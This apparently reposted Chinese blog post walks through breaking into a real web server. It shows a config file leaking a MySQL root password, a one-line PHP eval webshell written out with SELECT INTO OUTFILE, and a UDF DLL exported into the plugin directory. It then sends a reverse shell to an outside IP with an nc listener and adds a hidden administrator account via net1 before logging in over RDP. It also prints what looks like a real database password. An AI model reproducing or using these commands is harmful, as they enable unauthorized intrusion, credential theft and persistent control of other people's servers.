实站教你拿到shell后无法执行命令的解决方法

admin 2022年5月16日09:32:39评论378 views字数 2643阅读8分48秒阅读模式
实站教你拿到shell后无法执行命令的解决方法


但是在某些渗透场景中,拿到shell却也因为无法执行命令而苦恼,因为无法执行命令意味做提权就没戏了。


在本案例中就遇到拿到shell后无法执行命令,通过前期的一些基础研究发现,其实可以通过udf提权来绕过。


下面是整个渗透过程:


1.获取数据库root密码


获取该网站的主站密码是通过下载网站cms压缩包获取,如图1所示,从压缩包中直接搜索config.php直接获取,从配置中可以看出虽然密码有些弱口令的味道,但真正能够扫描出来绝对是人品好。

实站教你拿到shell后无法执行命令的解决方法

图1获取root密码


2.获取webshell


由于网站存在信息泄露,因此逐个访问文件出错获取网站真实路径“E:PHPnow-1.5.6htdocs”,如图2所示,通过phpmydmin直接一句话后门导出webshell:


select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'E:/PHPnow-1.5.6/htdocs/p.php'


实站教你拿到shell后无法执行命令的解决方法

图2获取webshell



3.无法执行命令


如图3所示,通过中国菜刀后门管理工具,成功获取webshell,在该shell中执行远程终端命令,提示“执行命令失败,可能远程启用了安全模式”


如图3所示,这个原因到现在我还是没有弄明白,对方服务器是如何配置。


实站教你拿到shell后无法执行命令的解决方法

图3无法执行命令

按照k8team那个哥们提供的方法,将那个php文件放上去,结果还是无法执行命令,且提示如下错误:

Parseerror: syntax error, unexpected T_NS_SEPARATOR, expecting T_STRINGin E:PHPnow-1.5.6htdocscmd.php on line 22


    

实站教你拿到shell后无法执行命令的解决方法

图4提示出错信息


通过一些提权的php大马,如图5所示,通过安装udf进行提权虽然显示执行命令成功,但实际并无效果。

实站教你拿到shell后无法执行命令的解决方法

图5大马webshell也无法执行命令


4. 使用反弹端口提权


使用《Mysql数据库反弹端口连接提权》(https://xianzhi.aliyun.com/forum/read/774.html)中的方法,先通过菜刀配置数据库,然后执行查询,将mysqldll.dll导出到插件.


(1)SELECT VERSION( );

获取信息:5.0.90-community-nt


(2)select @@datadir;

E:PHPnow-1.5.6MySQL-5.0.90data


(3)将mysqldll.dll导出到系统目录

将mysql.txt文件内容进行查询,创建ghost表,并把mysqlldll.dll文件通过load_file写入数据库表ghost,然后执行导出命令:


select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'


注意在phpmyadmin中执行上面语句会出现以下错误提示:


#1064 - You have an error in yourSQL syntax; check the manual that corresponds to your MySQL server version forthe right syntax to use near 'LIMIT 0, 30' at line 2


将其在菜刀数据库管理中执行命令,则没有问题。


虽然执行命令成功了,但执行创建函数时,提示无法打开mysqldll.dll。


后面查看func函数,发现里面并没有写入值,如图6所示。


CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'

Can't open shared library'mysqldll.dll' (errno: 2 )

实站教你拿到shell后无法执行命令的解决方法

图6func中并未创建成功


通过翻看服务器上的源代码发现服务器上面还允许另外一个mysql数据库是root账号对应密码201007201qaz@WSX,端口3309,通过菜刀进行配置,并执行


SHOW VARIABLES WHERE Variable_NameLIKE "%dir"

获取数据库的plugin 位置“D:servermysql-5.5.19-winx64libplugin”及其数据库版本5.5.19-log,如图7所示。

实站教你拿到shell后无法执行命令的解决方法

图7获取插件位置


到这一步,通过phpmyadmin明显无法去连接这个服务器


因为它没有指定端口和服务器地址,但我们从mysql的user表中发现,该数据库服务器居然配置多个用户连接host 为“%”,如图8所示。

实站教你拿到shell后无法执行命令的解决方法

图8host允许远程连接


看到这里直接通过客户端工具进行连接,并执行查询命令,重新创建表并导出dll文件,如图9,图10所示,成功导出mysqlDLL.dll 文件。

select data from Ghost intodumpfile 'D:/server/mysql-5.5.19-winx64/lib/plugin/mysqlDLL.dll';


实站教你拿到shell后无法执行命令的解决方法

图9再次执行查询


实站教你拿到shell后无法执行命令的解决方法

图10成功导出mysqldll.dll


(4)执行反弹


执行select backshell("122.115.47.39",4433);进行反弹,如图11所示,反弹服务器IP地址为122.115.47.39,端口为4433。

实站教你拿到shell后无法执行命令的解决方法

图11执行反弹


(5)获取反弹shell


在执行反弹前,需要在122.115.47.39服务器上执行nc –vv –l –p 4433命令,进行监听,如图12所示,成功获取反弹shell。

实站教你拿到shell后无法执行命令的解决方法

图12成功获取反弹shell


(6)添加管理员用户到服务器


  分别执行命令“net1 localgroup administrators”

“net1 user king$temp2005 /add”、“net1 localgroup administrators king$ /add查看管理员组和添加用户king$到管理员组,如图13所示


在系统中开始执行net命令并未成功,后面才知道原因,需要带路径执行

有些时候系统对net命令进行限制,此时可以使用net1命令,或者自己上传一个net.exe来执行。


实站教你拿到shell后无法执行命令的解决方法

图13添加一个管理员用户


(7)登录远程终端


  通过mstsc登录远程终端,如图14所示,成功登录。


实站教你拿到shell后无法执行命令的解决方法

图14登录3389


5.总结与探讨


在本次渗透成功后,在服务器上发现了N多后门,可见渗透无时无刻不在发生,没有被渗透那是服务器的幸运,也是管理者的幸运,但在互联网上,不怕一万,就怕万一,服务器多个用户配置成可以远程访问,会带来很多风险,比如嗅探口令等。



实站教你拿到shell后无法执行命令的解决方法


实站教你拿到shell后无法执行命令的解决方法

(黑客教程免费领)


实站教你拿到shell后无法执行命令的解决方法

原文始发于微信公众号(渗透师老A):实站教你拿到shell后无法执行命令的解决方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日09:32:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实站教你拿到shell后无法执行命令的解决方法http://cn-sec.com/archives/788411.html

发表评论

匿名网友 填写信息